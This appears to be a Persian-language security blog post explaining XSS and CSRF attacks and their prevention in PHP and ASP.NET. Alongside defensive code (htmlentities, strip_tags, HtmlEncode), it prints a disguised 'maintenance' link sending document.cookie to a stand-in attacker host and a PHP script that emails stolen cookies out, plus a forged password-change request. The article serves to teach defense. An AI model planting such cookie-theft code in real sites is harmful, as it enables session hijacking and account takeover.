مجموعه ها


پربازدیدترین مطالب

گوشی گم شده خود را صدا بزنید، جواب می دهد بررسی حملات تزریق SQL یا SQL INJECTION و مقابله با آن در PHP و ASP.NET گوشی گمشده خود را با Android Device Manager پیدا کنید از تصویر گوشی اندرویدی خود خسته شده اید؟ بررسی حملات سرقت نشست Session Hijacking و راههای مقابله با آن بررسی حملات تزریق کد XSS یاCSS و مقابله با آن در PHP و ASP.NET حملات محرومیت از سرویس DOS و DDOS - بخش اول اجرای کدهای مخرب در سمت سرور یا Remote Code Execution حملات محرومیت از سرویس DOS و DDOS - بخش دوم از همه جای دنیا به کامپیوتر خود وصل شوید.

آخرین مطالب

5 نکته و ترفند در جستجو با گوگل که باید بدانید از همه جای دنیا به کامپیوتر خود وصل شوید. از گوشی خود پرینت بگیرید اجرای کدهای مخرب در سمت سرور یا Remote Code Execution امنیت فایل های موقت یا Security For Temporary Files بررسی حملات سرقت نشست Session Hijacking و راههای مقابله با آن بررسی حملات تزریق SQL یا SQL INJECTION و مقابله با آن در PHP و ASP.NET بررسی حملات تزریق کد XSS یاCSS و مقابله با آن در PHP و ASP.NET حملات محرومیت از سرویس DOS و DDOS - بخش دوم حملات محرومیت از سرویس DOS و DDOS - بخش اول

بررسی حملات تزریق کد XSS یاCSS و مقابله با آن در PHP و ASP.NET

بررسی حملات تزریق کد XSS یاCSS و مقابله با آن در PHP و ASP.NET

در حملات تزریق کد XSS یا CSS  [1 صفحات پويای[2] وب مورد حمله قرار می گیرند چرا که وب سايت‌‌هايي که تنها داراي صفحات ايستا[3] هستند "فقط خواندني"مي‌باشند و اجازه هيچ فعل و انفعالي را به کاربر نمي‌دهند. از اين رو هکر فقط امکان مشاهده صفحات را دارد بدون اينکه بتواند خرابي در آنها ايجاد کند. از آنجائي که صفحات پويا امکان ايجاد تغييرات را براي کاربر فراهم مي‌کنند، بنابراين يک هکر مي‌تواند محتواي پر خطري را در وب سايت جاي دهد، بدون آنکه برنامه تحت وب توانائي تشخيص اين اطلاعات را از اطلاعات بي ضرر و يا واقعي داشته باشد.

نکته‌ايي که در آسيب پذيري  XSS ها وجود دارد، اين است که يک هکر مي‌تواند سرور اصلي را مجبور به ارسال صفحه وب با محتواي مخرب براي يک کاربر بي‌گناه کند‌ و اطلاعات ثبت شده توسط کاربر را به سرور ديگري ارسال کند. در واقع در این حمله خود سایت یا برنامه کاربردی آسیب نمی بیند و فقط به عنوان ابزاری در دست هکر مورد استفاده قرار می گیرد تا وی بتواند به کاربرانی که از این سایت یا برنامه کاربردی استفاده می کنند؛ آسیب برساند.

- روشهای تزریق کد

حمله تزریق کد می تواند به روش های مختلفی وارد عمل شود، بر این اساس تاثیرات مخرب متفاوتی خواهد داشت.

 روش های این حمله را می توان به چند دسته تقسیم کرد:

- CSRF4

بسیاری از سایت های تجارت الکترونیکی بعضی از مشخصات کامپیوتر کاربر را برای اعتماد به او نگهداری می کنند، مثلا اطلاعات IP او یا اطلاعات دیسک سخت یا در اکثر مواقع اطلاعات کوکی فرد. تزریق کد به کاربران مورد اطمینان یک سایت حمله می­کند. در حمله CSRF اخلاگر به کامپیوتر فرد مورد اطمینان، حمله و از طریق آن درخواست هایی را به سایت­های تجارت الکترونیکی و سایت­های دیگری که کاربر در آن حق دسترسی دارد، می­­فرستد. این حمله می تواند به یک شبکه اینترانت که کامپیوتر فرد عضو آن است صورت گیرد و از این طریق از فایروال آن عبور کند. این دسترسی می­تواند با استفاده از IP کاربر یا با استفاده از کوکی او صورت گیرد.

لزوم این حمله آشنایی مهاجم با توابعی است که برای ورود یا تغییر رمز کاربری استفاده می­شود. برای مثال فرض کنید برنامه نویس از فرمی مشابه آنچه در ادامه آمده است برای تعویض رمز عبور کاربر استفاده کند:

<form action="http://www.hsc.fr/changePassword" name="f" method="POST">

<input type="hidden" name="value" value="newpass">

   </form>

حال اخلالگر کافیست کاربر را به صفحه ای که اجرا کننده کدی مشابه کد زیر است بفرستد تا کاربر بدون آنکه متوجه شود رمز خود را تغییر دهد یا به اصطلاح رمز دلخواه اخلالگر را بر روی سرویسی که استفاده می کند قرار دهد :

POST http://www.hsc.fr/changePassword HTTP/1.1

[...]

   value=newpass

حال اخلالگر کافیست نام کاربری کاربر و رمزی را که روی آن قرار داده است در سایت سرویس دهنده وارد کند تا بتواند به تمامی امکاناتی که کاربر واقعی از آنها بهره می برد دسترسی داشته باشد. تمام سرورهای پست الکترونیک و برنامه های کاربردی که تمامی تغییرات را بدون رهگیری انجام می دهند، در برابر این حمله آسیب پذیرند.

- تزریق کد به عنوان یک کرم

در این حالت اخلالگر در یک صفحه آسیب پذیر سرویس دهنده، کدهای مخربی را که به مانند کرم عمل می کند قرار می دهد. زمانی که کاربران به این صفحه وارد شوند کدها اجرا شده و کرم می تواند در پشت زمینه مرورگر فرد، بدون اینکه در یک صفحه باز قابل مشاهده باشد، منتشر شود. یاهو و myspace به این صورت هک شدند. نوع دیگر به اینصورت است که بدون اینکه کاربر آگاه شود می­تواند درخواست­هایی را به صفحات دیگری بدهد به این تکنیک CSRF گویند که توضیح داده شد.

کرم یامانر یک اسپم بود که به سرویس ایمیل یاهو حمله کرد. زمانی که کاربران آن اسپم را باز می­کردند این کرم کپی خود را بیرون از مرورگر فرد به تمام لیست تماس های او می­فرستاد.

- دسترسی به فایل های محلی

اخلالگر می­تواند با قراردادن کدهای مخرب در صفحه، از کدهایی که داخل مرورگر فرد اجرا می­شود برای فریب فایل های محلی استفاده کند. این عمل به هکرها اجازه دسترسی به منابع محلی را می­دهد. بنابراین هکر می­تواند فایروال یا روتر را دوباره برنامه نویسی کند تا به او اجازه دسترسی خارجی به سرویس­های داخلی را بدهند. این کار فرصتی را به مهاجم برای حملات بسیار خطرناک فراهم می­کند. برای مثال هکر میتواند با استفاده از مرورگر فرد، درخواستی را به یک سرور داخلی یک شرکت بدهد. این عمل به مهاجم اجازه دسترسی به فایل­های حساس شرکت حتی اگر توسط فایروال محافظت شده باشد را می­دهد.

- عمل به عنوان کاربر

در این حمله اخلالگر با تزریق کدهای مخرب می­تواند کوکی قربانی را به سرور یا ایمیل خود ارسال کند، حال اخلالگر می­تواند کوکی قربانی را به جای کوکی خود قرار داده، خود را یه جای قربانی جا بزند. بعنوان مثال با این کار می­تواند به حساب بانکی او دسترسی داشته و تراکنشی را انجام دهد.

برای مثال فرض کنید اخلالگر بتواند لینک زیر را در درون صفحه ای در یک سایت تجاری قرار دهد.

<h1>Sorry, we're carrying out maintenance right now.</h1>

 // برانگیختن کاربر

<a href="#" onclick="javascript:window.location =

// ایجاد لینک

'http://reallybadguys.net/cookies.php?cookie=' + document.cookie;">

// صفحه مورد نظر اخلاگر

Click here to continue. </a>

// نمایش پیامی قابل قبول و بستن لینک

حالا اخلالگر در سایت خود و صفحه ای که در لینک قرار داده است این کدها را قرار می دهد:

<?php

//PHPباز کردن تگ  

$cookie = $_GET['cookie'];

// دریافت مقادیر ارسال شده

$uri = $_SERVER['HTTP_REFERER'];

// دریافت صفحه ای که تقاضا از آن آمده است

mail( 'gotcha@reallybadguys.net', 'We got another one!',

"Go to $uri and present cookie $cookie." );

// ارسال اطلاعات به ایمیل مشخص شده

header( 'Location: '.$uri );

// برگرداندن کاربر به صفحه ی قبلی

?>

//PHP بستن تگ

حال کاربر لینک بالا را در صفحه ی سایتی که عضو آن است می بیند! کاربر فکر می کند حتما مشکلی پیش آمده است برای همین به توصیه سایت یعنی کلیک بر روی لینک عمل می کند. با این کار صفحه ی   cookies.php با مقادیر کوکی کاربر اجرا می شود و پس از آنکه مقادیر کوکی به ایمیل 'gotcha@reallybadguys.net' فرستاده شد، کاربر به همان صفحه ی قبلی برگردانده می شود. کاربر فکر می کند مشکلی در لینک وجود داشته است، در حالی که با یک رفت و برگشت ساده اطلاعات کوکی اش به سرقت رفته است. حال کافیست اخلالگر این مقادیر کوکی را در مرورگر خود بارگذاری کند و خود را به جای کاربر واقعی قرار دهد!

- راه های مقابله با تزریق کد

به منظور جلوگیری از حملات تزریق کد به توسعه دهندگان توصیه می شود موارد زیر را در پیاده سازی و توسعه برنامه های کاربردی وب در نظر داشته باشند.

الف: فیلترکردن ورودی ها:

کنترل و فیلتر ورودیها یکی از مهم ترین کارهایی است که اگر به درستی انجام شود می تواند نقشی اساسی در جلوگیری از حملات تزریق کد داشته باشد. جلوگیری ازوارد کردن تگ‌های HTML یا فقط اجازه واردکردن برخی از تگ های HTML راهبسیار مناسبی برای جلوگیری از این حمله خواهد بود.

ب: امن کردن کوکی‌ها:

علاوه بر روش قبل، امن کردن کوکی‌ها کاری است که حتی درصورت وجود این حمله می‌تواند از سرقت رفتن برخی اطلاعات مربوط به ورود بهسایت که معمولا در کوکی‌ها یا جلسات (session)‌ ذخیره می‌شوند، جلوگیریکند. قابلیتی در مرورگرهای جدید گنجانده شده است که با کمک آن می‌توان برخیاز کوکی‌های مهم را به صورتخاص در کامپیوتر کاربر ذخیره کرد تا کوکی‌ها از طریق جاوا اسکریپت قابل دسترس نباشند ولذا با این قابلیت، سرقت کوکی‌ها از این طریق دیگر امکان‌پذیر نخواهد بود.

ج: غیرفعال کردن جاوا اسکریپت:

با وجود Web2 و AJAX همچنان سایت‌هایی موجودهستند که از جاوا اسکریپت استفاده نمی‌کنند. همچنین وب‌سایت‌ها برایجلوگیری از به سرقت رفتن کوکی‌ها می‌توانند به طور کل جاوا اسکریپت راغیرفعال کرده که در این صورت دیگر از این طریق امکان سرقت کوکی‌ها وجودنخواهد داشت.

در بین روش‌هایی که گفته شد تنها روش اول توصیه می‌شود و در روش‌های دیگر این مشکل حل نمی‌شود، بلکه امنیت شخصی کمی بهتر می‌شود.

جلوگیری با روش اول در زبان‌های برنامه‌نویسی مختلف:

 در زبان PHP برای جلوگیری از ورود هر گونه تگ HTML می‌توان از تابع htmlentities استفاده کرد. این تابع تمام داده‌های ورودی را طوری تغییرمی‌دهد که در صورت وجود تگ‌های HTML در این داده‌ها فقط به عنوان کاراکترشناخته شده و اجرا نشوند.

<?php

$name = htmlentities($_POST['name']);

 // تابع یاد شده داده ای را که از طریق پست وارد صفحه شده فیلتر می نمایید

echo $name;

?>

تابع strip_tags نیز در PHP به این منظور است که تمام تگ‌های HTML را ازداده ورودی حذف کند. البته این قابلیت را نیز دارد که تگ‌هایی را کهبرنامه‌نویس برای آن تعریف می‌کند را به عنوان ورودی قبول کند.


<?php
$text = strip_tags($_POST[<text>],<a><b><i><u><p>);

// فقط به تگهای نوشته شده اجازه ی عبور می دهد
echo $text;
?>

در زبان ASP نیز می‌توان از <asp:Literal> و HtmlEncode استفاده کرد:

<%@ Page Language=”C#‎‎‎‎‎‎‎‎” AutoEventWireup=”true”%>
<html>
<asp:Literal ID=”Literal1” runat=”server”></asp:Literal>
</html>
<script runat=”server”>
Literal1.Text = Server.HtmlEncode(Text1.Text);
</script>


توجه داشته باشید که توابع گفته شده در بالا تنها یک نمونه هستند و طبیعتا توابع دیگری نیز برای این کار وجود دارد.

 

[1] cross site-scripting  

[2] Dynamic

[3] Static

[4]Cross Site Request Forgery

 


, , , , , , , , ,

نظرات:

محمد پنجشنبه، 4 دی 1393 واقعا اطلاعات عالی بود.....افرین....فقط چطوری میشه مقدار های موجود در یک صفحه ی سایت را تغییر داد.مثلا یه سایتی فرم ثبت نام دارد که اطلاعات رو به page.php می فرستد..حالا ما چگونه این page.phpرو به صفحه ای که دوست داریم تغییر دهیم؟

به این نظر پاسخ دهید

نظر بدهید: